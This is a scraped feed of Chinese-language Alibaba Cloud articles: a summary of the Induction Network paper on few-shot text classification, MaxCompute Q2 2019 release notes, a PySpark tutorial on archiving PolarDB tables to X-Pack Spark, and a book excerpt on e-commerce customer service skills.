        一种典型的方法是把非参数化方法和度量学习结合,非参数方法能够使新的样本得到快速的适应,因此只需要学习样本之间的度量方式即可完成少样本分类。但是由于自然语言的特殊性,同一个类中的样本往往有很多种不同的表述,在先前的工作中,类级别的表示往往只是简单的通过对支撑集中的样本表示平均或加和来得到,这样会由于同一个类的不同表述方式产生的噪音而丢失很多关键的信息。因为少样本学习的方法不会在支撑集上finetune模型,因此当增大支撑集的规模时,因为样本数量带来的增长往往又会被样本级别的噪音所抵消。

        因此,更好的学习方法应该是建模归纳类别特征的能力:忽略掉和分类无关的细节,从样本级别多种多样的语言表述之中总结出类别的语义表示。我们站在一个更高的视角,去重构支撑集中不同样本的层次化语义表示,动态的从样本信息中归纳出类别特征。在本工作中,我们提出了Induction Network,通过将动态路由算法与meta learning机制结合,显式建模了从少量样本中归纳出类别表示的能力。我们的贡献可以总结为三点:

        1.我们提出了一个归纳网络来解决少样本学习的任务,为了处理少样本学习中样本级别的多样性问题,我们的工作首次建模了从样本特征到类别特征的归纳能力;

        2.我们提出归纳模块结合了动态路由算法和meta learning结构,矩阵转换和路由机制是我们的模型识别新的类别时泛化性能良好;

        3.我们的模型在两个少样本文本分类数据集上超过了目前的state-of-the-art模型,包含一个英语的基准数据集和一个中文的真实场景的意图识别数据集。

        4.模型

        如图3所示,我们的模型基于Encoder-Induction-Relation的三级框架,其中Encoder模块使用基于自注意力的Bi-LSTM,Induction 模块使用动态路由算法,Relation模块使用神经张量网络。

        image.png
        图Induction Network 图示

        4.1 Encoder模块

        本工作共使用Bi-lstm self-attention建模句子级别的语义,输入句子的词向量矩阵,经编码得到句子级的语义表示e。

        image.png
        image.png
        image.png

        4.2 Induction 模块

        将支撑集中每个样本编码为样本向量以后,Induction模块将其归纳为类向量

        image.png

        这一过程中我们将支撑集中的样本向量视为输入胶囊,经过一层dynamic routing变换后,输出胶囊视为每个类的语义特征表示。

        首先,是对所有样本做一次矩阵转换,意味着将样本级的语义空间转换到类别级的语义空间,在此过程中我们对支撑集中所有的样本向量使用同一个转换矩阵,如此对于任意规模的支撑集都能进行处理,也就意味着我们的模型可以应对any-way any-shot的场景。

        image.png
        image.png

        然后,通过dynamic routing的方式过滤无关信息,提取类别特征。在每次dynamic routing的迭代中,我们动态的调整上下两层之间的连接系数并确保其加和为1:

        image.png
        image.png

        其中b_i连接系数的逻辑值,在第一次迭代时初始化为0。对于给定的样本预测向量,每个候选类向量是e ̂_ij^s的加权求和:

        image.png

        然后使用一个非线性的squash函数来保证每个类向量的模长不超过1:

        image.png

        每次迭代的最后一步是通过“routing by agreement”的方式来调节连接强度,如果产生的类候选向量和某样本预测向量之间有较大的点乘结果,则增大他们之间的连接强度,否则减小之。

        image.png

        通过这种动态路由的方式建模样本向量到类别向量的映射过程,能够有效过滤与分类无关的干扰信息,得到类别特征,详情见算法2。

        image.png
        image.png

        4.3 Relation 模块

        我们通过Induction模块得到支撑集中每个类别的类向量表示,通过Encoder模块得到Batch set中每个query的query向量,接下来要做到就是衡量二者之间的相关性。 Relation 模块是典型的neural tensor layer,首先通过三维tensor建模每个类向量和query向量对之间的交互关系,然后使用全连接层得到关系打分。

        image.png

        4.4 目标函数

        我们使用最小平方损失来训练我们的模型,将关系打分回归至真实标签:匹配的类和query对之间的打分趋向于1而不匹配的打分趋向于0。在每个episode中,给定支撑集S和Query集B={(x_q,y_q )}_(q=1)^n,损失函数定义如下:

        image.png

        我们使用梯度下降法更新Encoder、Induction和Relation三个模块的参数。训练完成之后,我们的模型在识别全新的类别时不需要任何finetune,因为在meta 训练阶段已经赋予了模型足够的泛化能力,而且会随着模型的迭代不断累加。

        5. 实验

        我们在两个few-shot文本分类的数据集上验证模型的效果,所有的实验使用tensorflow实现。

        5.1 数据集

        1.ARSC数据集由Yu 等人[10]在NAACL 2018提出,取自亚马逊多领域情感分类数据,该数据集包含23种亚马逊商品的评论数据,对于每一种商品,构建三个二分类任务,将其评论按分数分为5、4、 2三档,每一档视为一个二分类任务,则产生233=69个task,然后取其中12个task(43)作为测试集,其余57个task作为训练集。

        2.ODIC数据集来自阿里巴巴对话工厂平台的线上日志,用户会向平台提交多种不同的对话任务,和多种不同的意图,但是每种意图只有极少数的标注数据,这形成了一个典型的few-shot learning任务,该数据集包含216个意图,其中159个用于训练,57个用于测试。

        5.2 参数设置

        预训练词向量使用300维glove词向量,LSTM隐层维度设为128,dynamic routing的迭代器爱次数设为3,Relation模块的张量数h=100。我们在ARSC数据集上构建2-way 5-shot的模型,在ODIC数据集上C和K在[5,10]中选取得到四组实验。在每个episode中,除了为支撑集选取K个样本以外,我们还为采到的每个类再采20个样本作为query set,也就是说在5-way 5-shot 场景下每次迭代训练都会有55+520=125个样本参与训练。

        5.4 实验结果

        在ARSC和ODIC数据集上实验结果如表1和表2所示
        由表1可知,我们提出的Induction Networks比ROBUSTTC-FSL正确率高出3%,他们是这个数据上之前的state-of-the-art。这是因为ROBUSTTC-FSL试图在样本层面构造一个足够鲁棒的度量方法,所以将多种度量方式进行组合,这种方法无法摆脱同一个类别中不同表述所产生的干扰。

        image.png
        表1 ARSC数据集上的结果

        在ODIC数据集上,我们提出的Induction Networks模型在四个不同的实验设置中都取得了最好的效果,通过表1可以看到,在Encoder使用相同结构的情况下,我们的模型通过建模class级别的归纳能力和更复杂的距离度量方式,取得了最好的结果,进一步的,我们通过比较不同的Induction方式,最终选取了Dynamic Routing的方式来构建样本级到class级的归纳表示能力。

        image.png
        表2 ODIC数据集实验结果

        5.5 实验分析

        5.5.1 消融实验

        image.png
        表3 消融实验

        为了分析归纳模块和关系模块使用不同成分所产生的影响,我们进一步分析在ARSC数据集上消融实验的结果。如表3所示,我们可以看到当routing的迭代次数设为3次的时候取得最优的效果,继续增加迭代次数并没有使效果进一步提升,这证明了dynamic routing方法的有效性。当把归纳模块改为Attention方式时,Attention+Relation的方法通过自注意力机制来建模归纳过程,但是这一能力又被局限于学习到注意力参数之中,相反我们提出的动态路由归纳算法可以通过自动调整对支撑集样本的权重系数来归纳得到类级别的表示,这对于少样本学习的任务具有更好的适应能力。

        5.5.2转置矩阵的作用

        在5-way 10-shot场景下,我们用t-SNE降维并可视化经过transformation转置矩阵前后支撑集样本的变化,如图所示,可以发现经过转置矩阵之后的支撑集样本向量可分性明显变好。

        image.png

        这也证明了矩阵转置过程对于转换样本特征到类别特征的有效性。

        5.5.3 Query 可视化

        我们发现Induction Network不仅能够生成质量更高的类向量,而且可以帮助encoder模块学习更好的样本语义表示。通过随机抽取5个测试集的类别,并将其中所有样本Encoder之后的向量可视化,我们发现Induction Network中学到的样本向量可分性明显高于Relation Network,这说明我们的Induction模块和Relation模块通过反向传播给了Encoder模块更为有效的信息,使其学到了更易于分类的样本表示。

        image.png

        6.结论

        在本工作中,我们提出了Induction Network 来解决少样本文本分类的问题。我们的模型通过重构支撑集样本的层次化语义表示,动态归纳出类别的特征表示来缓解少样本学习样本级别的噪音问题。我们将动态路由算法和meta learning的框架结合,动态路由的机制使我们的模型能够对新的类别保持良好的泛化性。实验结果表明我们的模型在不同的少样本分类数据集上都超过了当前的state-of-the-art模型。在未来的工作中我们会探寻将监督学习和meta learning相结合,构建增量的少样本学习模型。

        参考文献

        1. Shaohui Kuang, Junhui Li, Anto ́nio Branco, Weihua Luo, and Deyi Xiong. 2018. Attention focusing for neural machine translation by bridging source and target embeddings. In Proceedings of the 56th An- nual Meeting of the Association for Computational Linguistics (Volume 1: Long Papers), volume 1, pages 1767–1776.
        2. Shen Li, Zhe Zhao, Renfen Hu, Wensi Li, Tao Liu, and Xiaoyong Du. 2018. Analogical reasoning on chi- nese morphological and semantic relations. In Pro- ceedings of the 56th Annual Meeting of the Associa- tion for Computational Linguistics (Volume 2: Short Papers), pages 138–143.
        3. Zhouhan Lin, Minwei Feng, Cicero Nogueira dos San- tos, Mo Yu, Bing Xiang, Bowen Zhou, and Yoshua Bengio. 2017. A structured self-attentive sentence embedding. arXiv preprint arXiv:1703.03130.
        4. Laurens van der Maaten and Geoffrey Hinton. 2008. Visualizing data using t-sne. Journal of machine learning research, 9(Nov):2579–2605.
        5. Nikhil Mishra, Mostafa Rohaninejad, Xi Chen, and Pieter Abbeel. 2018. A simple neural attentive meta- learner. In Proceedings of ICLR.
        6. Tsendsuren Munkhdalai and Hong Yu. 2017. Meta networks. In Proceedings of the 34th International Conference on Machine Learning-Volume 70, pages 2554–2563. JMLR. org.
        7. Jeffrey Pennington, Richard Socher, and Christopher Manning. 2014. Glove: Global vectors for word representation. In Proceedings of the 2014 confer- ence on empirical methods in natural language pro- cessing (EMNLP), pages 1532–1543.
        8. Hang Qi, Matthew Brown, and David G Lowe. 2018. Low-shot learning with imprinted weights. In Pro- ceedings of the IEEE Conference on Computer Vi- sion and Pattern Recognition, pages 5822–5830.
          Anthony Rios and Ramakanth Kavuluru. 2018. Few- shot and zero-shot multi-label learning for structured label spaces. In Proceedings of the 2018 Confer- ence on Empirical Methods in Natural Language Processing, pages 3132–3142.
        9. Sara Sabour, Nicholas Frosst, and Geoffrey E Hinton. 2017. Dynamic routing between capsules. In Ad- vances in Neural Information Processing Systems, pages 3856–3866.
        10. Justin Salamon and Juan Pablo Bello. 2017. Deep con- volutional neural networks and data augmentation for environmental sound classification. IEEE Signal Processing Letters, 24(3):279–283.
          Victor Garcia and Joan Bruna. 2017. learning with graph neural networks. abs/1711.04043.

        Few-shot CoRR,

        1. Xavier Glorot, Antoine Bordes, and Yoshua Bengio. 2011. Deep sparse rectifier neural networks. In Pro- ceedings of the fourteenth international conference
        2. Jake Snell, Kevin Swersky, and Richard Zemel. 2017. Prototypical networks for few-shot learning. In Ad- vances in Neural Information Processing Systems, pages 4077–4087.
        3. Richard Socher, Danqi Chen, Christopher D Manning, and Andrew Ng. 2013. Reasoning with neural ten- sor networks for knowledge base completion. In Advances in neural information processing systems, pages 926–934.
        4. Flood Sung, Yongxin Yang, Li Zhang, Tao Xiang, Philip HS Torr, and Timothy M Hospedales. 2018. Learning to compare: Relation network for few-shot learning. In Proceedings of the IEEE Conference on Computer Vision and Pattern Recognition, pages 1199–1208.
        ]]>
        【MaxCompute季报】MaxCompute新功能发布 2019Q2 Fri, 02 May 2025 09:39:04 +0800 2019年Q2 MaxCompute发布了一系列新功能。 本文对主要新功能和增强功能进行了概述。

        1. SQL新功能
        2. 华北张家口节点正式开服售卖
        3. 国际Region Spark商业化发布
        4. 存储降价
        5. 元数据服务Information Schema
        6. MaxCompute搬站迁移工具MMA
        7. 数据脱敏
        8. Tunnel流量和作业消费监控预警
        9. 支持VPC IP白名单
        10. TPCx-BB创最新世界纪录

        image
        image
        image
        image
        image
        image
        image
        image
        image
        image
        image
        image
        image
        image
        image
        image
        image
        image

        ]]>
        最佳实践 | RDS & POLARDB归档到X-Pack Spark计算 Fri, 02 May 2025 09:39:04 +0800 X-Pack Spark服务通过外部计算资源的方式,为Redis、Cassandra、MongoDB、HBase、RDS存储服务提供复杂分析、流式处理及入库、机器学习的能力,从而更好的解决用户数据处理相关场景问题。

        be0c5c87da12145325d0fbbf2770c011e63bbb7a.png

        RDS & POLARDB分表归档到X-Pack Spark步骤

        一键关联POLARDB到Spark集群

        一键关联主要是做好spark访问RDS & POLARDB的准备工作。
        3da40523db7ba8a13ad447479c143ae90e1f8f4d.png

        POLARDB表存储

        在database ‘test1’中每5分钟生成一张表,这里假设为表 'test1'、'test2'、'test2'、...
        f8b752d3dd8c53fb20c66e01c00fb201f6396c1a.png

        具体的建表语句如下:

        *请左右滑动阅览

         CREATE TABLE `test1` ( `a` int(11) NOT NULL,
                                `b` time DEFAULT NULL,          
                       `c` double DEFAULT NULL,
                                 PRIMARY KEY (`a`)
            ) ENGINE=InnoDB DEFAULT CHARSET=utf8

        归档到Spark的调试

        x-pack spark提供交互式查询模式支持直接在控制台提交sql、python脚本、scala code来调试。

        1、首先创建一个交互式查询的session,在其中添加mysql-connector的jar包。

        *请左右滑动阅览

        wget https://spark-home.oss-cn-shanghai.aliyuncs.com/spark_connectors/mysql-connector-java-5.1.34.jar

        6ecbde3466820df6fbee0285e9d11d96cbd995fb.png

        2、创建交互式查询

        以pyspark为例,下面是具体归档demo的代码:

        *请左右滑动阅览

        spark.sql("drop table sparktest").show()
        # 创建一张spark表,三级分区,分别是天、小时、分钟,最后一级分钟用来存储具体的5分钟的一张polardb表达的数据。字段和polardb里面的类型一致
        spark.sql("CREATE table sparktest(a int , b timestamp , c double ,dt string,hh string,mm string) "
              "USING parquet PARTITIONED BY (dt ,hh ,mm )").show()
        
        #本例子在polardb里面创建了databse test1,具有三张表test1 ,test2,test3,这里遍历这三张表,每个表存储spark的一个5min的分区
        # CREATE TABLE `test1` (
        #     `a` int(11) NOT NULL,
        #                     `b` time DEFAULT NULL,
        #                                      `c` double DEFAULT NULL,
        #                                                         PRIMARY KEY (`a`)
        # ) ENGINE=InnoDB DEFAULT CHARSET=utf8
        for num in range(1, 4): 
            #构造polardb的表名
            dbtable = "test1." + "test" + str(num)
            #spark外表关联polardb对应的表
            externalPolarDBTableNow = spark.read 
                .format("jdbc") 
                .option("driver", "com.mysql.jdbc.Driver") 
                .option("url", "jdbc:mysql://pc-xxx.mysql.polardb.rds.aliyuncs.com:3306") 
                .option("dbtable", dbtable) 
                .option("user", "name") 
                .option("password", "xxx*") 
                .load().registerTempTable("polardbTableTemp")
            #生成本次polardb表数据要写入的spark表的分区信息
            (dtValue, hhValue, mmValue) = ("20191015", "13", str(05 * num))
            #执行导数据sql 
            spark.sql("insert into sparktest partition(dt= %s ,hh= %s , mm=%s )  "
                  "select * from polardbTableTemp " % (dtValue, hhValue, mmValue)).show()
            #删除临时的spark映射polardb表的catalog
            spark.catalog.dropTempView("polardbTableTemp")
            #查看下分区以及统计下数据,主要用来做测试验证,实际运行过程可以删除
            spark.sql("show partitions sparktest").show(1000, False)
            spark.sql("select count(*) from sparktest").show()

        归档作业上生产

        交互式查询定位为临时查询及调试,生产的作业还是建议使用spark作业的方式运行,使用文档参考。这里以pyspark作业为例:
        9730abaad2803bfb6a3b7b080a26fe03b808e5ad.png

        /polardb/polardbArchiving.py 内容如下:

        *请左右滑动阅览

        # -*- coding: UTF-8 -*-
        
        from __future__ import print_function
        
        import sys
        from operator import add
        
        from pyspark.sql import SparkSession
        
        if __name__ == "__main__":
            spark = SparkSession 
                .builder 
                .appName("PolardbArchiving") 
                .enableHiveSupport() 
                .getOrCreate()
        
            spark.sql("drop table sparktest").show()
            # 创建一张spark表,三级分区,分别是天、小时、分钟,最后一级分钟用来存储具体的5分钟的一张polardb表达的数据。字段和polardb里面的类型一致
            spark.sql("CREATE table sparktest(a int , b timestamp , c double ,dt string,hh string,mm string) "
                  "USING parquet PARTITIONED BY (dt ,hh ,mm )").show()
        
            #本例子在polardb里面创建了databse test1,具有三张表test1 ,test2,test3,这里遍历这三张表,每个表存储spark的一个5min的分区
            # CREATE TABLE `test1` (
            #     `a` int(11) NOT NULL,
            #      `b` time DEFAULT NULL,
            #      `c` double DEFAULT NULL,
            #       PRIMARY KEY (`a`)
            # ) ENGINE=InnoDB DEFAULT CHARSET=utf8
            for num in range(1, 4):
                #构造polardb的表名
                dbtable = "test1." + "test" + str(num)
                #spark外表关联polardb对应的表
                externalPolarDBTableNow = spark.read 
                    .format("jdbc") 
                    .option("driver", "com.mysql.jdbc.Driver") 
                    .option("url", "jdbc:mysql://pc-.mysql.polardb.rds.aliyuncs.com:3306") 
                    .option("dbtable", dbtable) 
                    .option("user", "ma,e") 
                    .option("password", "xxx*") 
                    .load().registerTempTable("polardbTableTemp")
                #生成本次polardb表数据要写入的spark表的分区信息
                (dtValue, hhValue, mmValue) = ("20191015", "13", str(05 * num))
                #执行导数据sql
                spark.sql("insert into sparktest partition(dt= %s ,hh= %s , mm=%s )  "
                      "select * from polardbTableTemp " % (dtValue, hhValue, mmValue)).show()
                #删除临时的spark映射polardb表的catalog
                spark.catalog.dropTempView("polardbTableTemp")
                #查看下分区以及统计下数据,主要用来做测试验证,实际运行过程可以删除
                spark.sql("show partitions sparktest").show(1000, False)
                spark.sql("select count(*) from sparktest").show()
            spark.stop()

        扫描下方 ⬇️二维码

        了解关于X-Pack Spark计算服务的更多信息

        了解更多.jpeg

        双十一还不知道买什么?

        阿里云数据库双11爆款直降

        这份购物清单 ⬇️给你拿去!

        双十一活动长图.png

        ]]>
        带你读《金牌电商客服实战》之一:金牌客服是如何炼成的 Fri, 02 May 2025 09:39:04 +0800 金牌电商客服实战
        image.png 
        江南北商学院 组编
        高攀 等著

        第1章 金牌客服是如何炼成的

        1.1 电商客服岗前准备

          2019年2月21日下午,商务部新闻发言人在介绍2018年我国网络零售市场发展情况时指出,2018年我国网络零售市场规模持续扩大,全国网上零售额突破9万亿元,其中,实物商品网上零售额达7万亿元,同比增长25.4%,对社会消费品零售总额增长的贡献率达到45.2%,较上年提升了7.3个百分点。
          自2019年1月,《电子商务法》开始施行,在法律和监管的力量下,整个行业正朝着更加合法、合规的方向前进。
          电子商务的快速发展也吸引了众多人才的不断涌入。据电子商务交易技术国家工程实验室、中央财经大学中国互联网经济研究院测算,2017年,中国电子商务从业人员达4250万人,成为一支庞大的就业群体。这个庞大群体中,兴起了一个极富生命力的新兴行业—网店客服。
          客服是电商成交的关键,电商业务成功与否,与客服的工作息息相关。下面我们就一起系统地了解下电商客服。

        1.1.1 电商客服岗位概述

          首先我们思考一下为什么要学习电商客服这门课程呢?
          随着电子商务的不断发展,网络购物平台交易竞争日趋激烈,商品的同质化及低价竟争日益激烈,如今的网购市场已经逐渐发展成由买方来主导其趋势。提供优质商品是每个商家的基本义务,但是顾客并不只满足于为产品本身买单,他们需要更加完美的购物体验,通常顾客会经过“搜索”→“单击”→“浏览”→“询单”等几个步骤,最终凭自己对产品及店铺的感受决定是否下单购买。也就是说,顾客的购物体验是决定其购买行为的重要因素。在整个网络交易过程中,电商客服作为直接通过平台交流软件,为客户提供服务和解决问题的人员,成为决定顾客购物体验优劣的重要角色。
          在淘宝上,一年销售额为1000万元的电商企业,约有10个客服,平均每个客服能够创造100万元的流水额。一个熟练的客服可以同时和20位左右的客户沟通,行业内最高水平达到90人!从以上数据分析来看,伴随互联网+时代电子商务的飞速发展,客户服务岗位的人才缺口是巨大的。并且在网店经营岗位中,客服是必不可少的重要角色,如图1-1所示。
        image.png

        图1-1 客服的角色

          对于一家店铺来说:客户看到的商品都是一张张的图片,既看不到商家本人,也看不到产品本身,无法了解各种实际情况,因此往往会产生距离感和怀疑感。这个时候,平衡顾客与店铺之间的利益,客服就显得尤为重要了。
          客服的重要性具体来说主要体现在5个方面,如图1-2所示。
        image.png

        图1-2 客服的重要性

          1.优化顾客的购物体验
          客服作为一个直接影响顾客购物体验的岗位,对于店铺的整体运营具有很重要的意义。好的客服可以提高顾客的购物体验,顾客在与客服交流的过程中,通过客服耐心的询问、认真的倾听,主动为顾客提供帮助,让顾客享受良好的购物体验。
          2.提升店铺的复购率
          由于现在网络平台商品繁杂,顾客的搜索浏览成本也越来越高,所以,当顾客选择一家店铺以后,只要产品满意、服务贴心,一般不会轻易更换到其他店铺购买。因为更换到其他店铺会增加新的购物风险及时间成本。所以,良好的客户服务能有效地提高顾客对店铺的忠诚度,即提升店铺的复购率。
          3.改善店铺服务数据
          目前,天猫等电商平台会对店铺的服务质量有一系列的评分,当店铺评分不符合标准时,会影响其产品在搜索中的排名,以及参加活动的资质。因此商家会尽量保证自己店铺的服务类评分达到或者超过同行业的均值。客服岗位在售前和售后环节都会和顾客有亲密接触,因此客服服务质量的优劣会直接影响店铺服务类数据的分值。天猫店铺首页会显示店铺综合评分。如图1-3所示为某天猫店铺DSR(店铺评分系统)评分截图,顾客可以通过综合评分来判断店铺经营的状况,以及各种服务指标。平台也会在后台数据中考核店铺的综合评分,来判断店铺是否被广大顾客喜欢,是否值得把店铺推荐给平台的顾客。
        image.png

        图1-3 天猫店铺DSR评分

          4.降低店铺经营风险
          商家在开店当中难免会遇到包括退换货、退款、交易纠纷、顾客投诉、顾客给出不良评价、平台处罚,甚至欺诈、诈骗等经营风险。客服对产品熟悉,如果能够做到精准推荐,就会有效地控制退换货、退款,尽量避免交易纠纷;客服对规则熟悉,如果能够很好地应对顾客投诉,并且不触犯平台规则,就不会导致平台对店铺的处罚;客服积极、良好地与顾客沟通,就有可能降低顾客给出不良评价的状况发生;客服警惕性高,就可以避免发生店铺被少数不良分子敲诈而导致损失的情况。
          5.提高流量价值
          随着平台竞争越来越激烈,店铺引流成本越来越高,进入店铺的每一个流量对商家来说都是尤为重要的,都应该使之产生效益。而客服的优质服务有助于提高顾客的购买欲望,从而提高客单价,实现单个流量价值的最大化;客服的优质服务也有助于顾客多次复购或介绍他人在店铺中购物,从而把顾客单个流量的价值发挥到极致。这就是我们所说的提高流量价值。如图1-4所示为京东平台某时间段某店铺UV价值数据。
        image.png

        图1-4 京东某时间段某店铺UV价值数据

          那么,了解了网店客服的重要性之后,我们肯定会思考:网店客服主要是做什么的?有的人说工作内容较为单一,就是打字、聊天和“忽悠”。其实这是对网店客服工作岗位的错误认识。网店客服这门课程,是以顾客为宗旨的。因为在电商各岗位中,客服是唯一能够跟客户直接沟通的岗位,这种沟通融合了情感,会给客户带来更舒服的沟通体验。
          因此,网店客服是指在开设网店的商业活动中,充分利用各种通信工具(如即时通信工具“千牛”),为客户提供相关服务的人员。
          接待顾客是客服人员的主要工作,也是最重要的工作。在与顾客的沟通中,客服人员获取顾客需求,从而进行精准推荐,最终促成订单成交。销售流程一般为“客户答疑”→“促成订单”→“售后服务”→“客户管理”,在任何一步中,客服人员如果没有接待好顾客,都会造成订单流失。
          按照网店客服的分类,一般分为以下几种:

        • 通过阿里旺旺、电话,解答买家问题的客服;
        • 专门的导购客服,帮助买家更好地挑选商品;
        • 专门的投诉客服,处理客户投诉;
        • 专业做仓储物流保障的客服等。

          若按照岗位职责细分的话,可以将网店客服的工作分为以下4大板块,如图1-5所示。
        image.png

        图1-5 网店客服的工作

          (1)售前客服,主要包括接待顾客和产品推荐。迎接、问好,是客服人员接待顾客时的第一个工作流程,需要以快速、热情的原则为出发点,在第一时间向顾客积极问好,给顾客留下美好的购物体验。在进行完疑问解答后,积极通过产品推荐帮助顾客快速锁定所需产品,从而提高店铺转化率。
          (2)售中客服,主要包括解决顾客问题和后台操作。经过“漫长”的前期接待和产品推荐过程,看似“火候”已够,实际上在促成订单流程中,在线客服往往会遇到顾客议价、索取赠品、产品真伪识别等情况,甚至对于新手买家来说,对平台的一些操作方面也有一些疑问。同时,店铺是否拥有完善的售后服务保障制度和安全快速的物流运输等方面,也是在此流程中顾客所普遍关注的。在促成订单流程中,产品品质、售后保障及物流等方面是在前期采购、运营过程中就已经确定和设立完成的,在交易流程中不宜被随意更改或根本无法更改,仅需要在线客服快速、有效地给予顾客正确回答即可。
          (3)售后客服,主要包括售后问题处理和物流问题处理。一个运营良好的店铺背后一定有一套完善、科学的售后服务体系。一般的售后服务体系包含这几个环节要素,分别是:接到售后问题,了解售后产生原因;沟通协调,找到解决方案;后续跟踪。各个环节要素之间环环相扣,前后顺序遥相呼应。此外,大多数顾客在付款后,会对物流产生一系列问题。对于物流原因,一般来说,造成退款、退货的具体物流原因主要有逾期不达、货品丢失、商品破损、物流服务等。特别值得说明的是,在千牛工作平台中,有提醒查看异常物流的功能。为了减少因物流而产生的售后问题,在线售后客服需要特别注意此处,需多频次查看并及时关注物流信息,避免售后纠纷的发生。
          (4)客户关系管理。客户关系管理是一种战略管理,商家通过深入分析客户信息,提高并完善服务,在商家与顾客之间建立一条通道,提高客户的满意度与忠诚度,从而使顾客价值最大化。与前端销售不同,客户关系管理以客户为中心。通过对顾客的行为进行分析,以及对顾客进行分类,维护好顾客,以及为老顾客营销打下良好的基础,做到精准关怀,营销有的放矢。
          客服工作就是要创造流量价值的最大化,是为全店运营服务的。为了完成工作任务,达成工作目标,客服需要具备良好的基本工作技能,了解平台规则,熟悉工具操作使用。掌握好这些,才能够更好地完成日后的工作。
        image.png

        image.png

        图 1-6 客服的心态要求

        1.1.2 客服的基本素质及技能

          前面我们了解了客服岗位的重要性,以及客服岗位的职责。为了能够胜任客服工作,完成销售任务,协助店铺运营,客服需要具备下面几项基本素质及技能。
          1.客服心态
          我们首先了解一下客服心态,如图1-6所示。客服人员每天都会在一线直接面对顾客,在接待过程中时常会遇到形形色色的顾客,会有很多意想不到的事情。有句话是:买家虐我千百遍,我待买家如初恋。从心理上说,客服人员每天的心理压力是很大的,所以需要客服具备良好的心理素质和心态,能够做到迅速地融入到团队及工作中,有良好的抗压能力,能够适当发挥主观能动性,当出现问题时能做出正确的判断,从积极、正面的角度去处理问题。
          设想一下,如果你是一名淘宝客服,遇到素质低、张口就骂人的客户该怎么办?
          首先让客户发泄完情绪,再陈述自己的观点,然后诚恳道歉,了解客户刁难的原因,做出相应措施,争取改进。不要急着辩解顾客说的对与错,只有先安抚好顾客的情绪,顾客才会心平气和地听在线客服的解释。作为客服本人也一定要调整好心态,平心静气,好好沟通。要知道,冲动是“魔鬼”,遇见这样的客户,我们不要逞一时之快,只要客户肯付款,忍耐也是一定要有的。
          客服除了调整好自己的心态,还需要具备一定的基本素质。一般我们把客服的基本素质分为4种,如图1-7所示。

        image.png


        图1-7 客服的基本素质

          第一,作为一名网店客服,要具备适度的自信心,既不能毫无自信、畏缩不前,也不能盲目自信。要对自己自信,对产品自信和对公司自信。如果我们连自己的产品都不信任,又何来让顾客相信你呢?又怎么增加店铺销售额呢?所以我们面对顾客的时候对自己的产品要有自信哦!
          第二,网店客服在工作过程中,每天都面对着不同的客户,很多时候客户会给你带来一些真正的挑战。比如说讨价还价、谩骂侮辱、恶意差评等,这就要求客服人员具备一定的应变力,沉着冷静,有理有据,灵活应对,特别是在处理一些客户的恶性投诉时,要处变不惊。无论顾客采取什么方式,我们决不能乱了自己的阵脚。
          第三,客服每天都要面对各类客户的误解甚至辱骂,或者直接向你的上级主管投诉。有些投诉可能夸大其词,本来这个客服没有做得那么差,但到了客户口中变得很恶劣,恶劣到应该马上被开除。虽然顾客这么无理取闹,但是我们不能因为客户的一句不认可,就不想做这份工作了,一定要有一定的抗打击能力。
          第四,情绪是需求或愿望是否得到满足时的愉快或不愉快的主观体验。作为客服,需要控制好自己的情绪,学会自我调整。可以采取:

        • 心理宣泄法:“出气室”宣泄法、书写宣泄、向别人倾诉宣泄。
        • 反向思维法:否极泰来-积极面,多想想事情积极的一面。
        • 注意力转移法:将注意力转移到工作中,而不是顾客本人。闲暇的时候可以跑步、健身,培养自己的幽默感,可以良好地控制自己的情绪。

          客服需要具备全面的技能素质,这要求客服具有文字语言表达能力,语言沟通技巧和谈判技巧,丰富的专业知识和专业技能。
          2.语言文字沟通技巧
          第一,少用“我”字,多使用“您”或者“咱们”这样的字眼,让顾客感觉客服在全心全意地为他(她)考虑问题,如图1-8所示。
          第二,常用规范用语,如图1-9所示。
          “请”是一个非常重要的礼貌用语。其他的还有:“欢迎光临”“认识您很高兴”“希望在这里能找到您满意的产品”。“您好”“请问”“麻烦”“请稍等”“不好意思”“非常抱歉”“多谢支持”等。平时要注意提高修炼自己的“内功”,同样一件事用不同的表达方式就会表达出不同的意思。很多交易中的误会和纠纷就是因为语言表达不同而引起的。
        image.png

        图1-8 文字沟通技巧 图1-9 常用规范用语

          定期可以做一些语言组织训练,比如用下列词语编一段话,要求逻辑清晰,语言通顺,趣味性强。例如,用“水、图书馆、走失”这3个词编一段话,可以是“外地朋友带孩子来洛阳玩,我们一起到图书馆看书。渴了,孩子出去买水,结果走失了”。
          3.客服需具备丰富的专业知识

        • 商品的专业知识:商品本身的相关专业知识、商品周边知识的掌握、产品的应用知识和店铺的动态。
        • 消费者心理知识:以有效引导客户。
        • 客服关系管理知识:有效发挥客户多次消费潜力及扩散力。
        • 电子商务基础知识:网站的交易规则。
        • 物流及付款知识的掌握:物流知识。

          除了以上几种基本技能,客服还需具备其他方面的能力。客服作为线上销售和服务岗位,用线上沟通工具,通过打字聊天的方式,帮助顾客解决线上购物的各种问题。
          因此,作为客服岗位的从业者,首先要做到熟悉网购,只有对网购有足够的认知,才能在交易中从顾客的角度出发,从网购的特点出发,帮助顾客解决问题,为顾客选择适当的商品;其次,客服需要具备较快的打字速度,一般情况下要求初级客服每分钟输入80个汉字左右,更高级别的客服需要每分钟输入120个汉字左右,这样才能在接待的过程中快速回答顾客提出的问题,缩短顾客的等待时间;最后,也是最重要的,就是沟通交流的技巧,由于线上交流的特殊性,线上客服要更加注意交流中顾客的表现,顾客在字里行间传达的信息,通过提问等方式探求顾客的需求,以更好地解决顾客问题,做到成功销售。当顾客遇到售后问题时更要谨慎处理,通过运用一定的沟通技巧,与顾客在处理意见上迅速达成一致,让买卖双方的利益都得以保全。

        1.1.3 客户的分类:销售心理学

          若想要成功销售自己的商品,就一定要学会换位思考,站在顾客的角度去看“我为什么要买这件商品”“这件商品有什么优势”等问题,作为客服,了解顾客心理很有必要,因此,让我们一起简单学习下顾客心理学方面的知识。
          首先我们来看下顾客的界定与分类。
          客服在与买家进行沟通的时候,要注意区分顾客的信息和类型,方便更准确地进行顾客定位。
          1.顾客的界定
          在电子商务高速发展的今天,承担着专业聊天软件的阿里旺旺成为客服与顾客交流的平台,客服每天从这里接收到数以万计的信息,可这些信息并不是全部来自有购买欲望的顾客,当中有不少广告、推销类信息,所以客服必须弄清最基本的问题——谁是你的顾客。
          所有接收店铺产品或服务的组织和个人,我们称之为顾客。客服在接待顾客的时候一定要注意把握对方的购买欲望和咨询目的,因此要注意筛选有效的顾客咨询,对于广告、推销类信息,可以直接屏蔽、忽略。
          2.顾客的分类
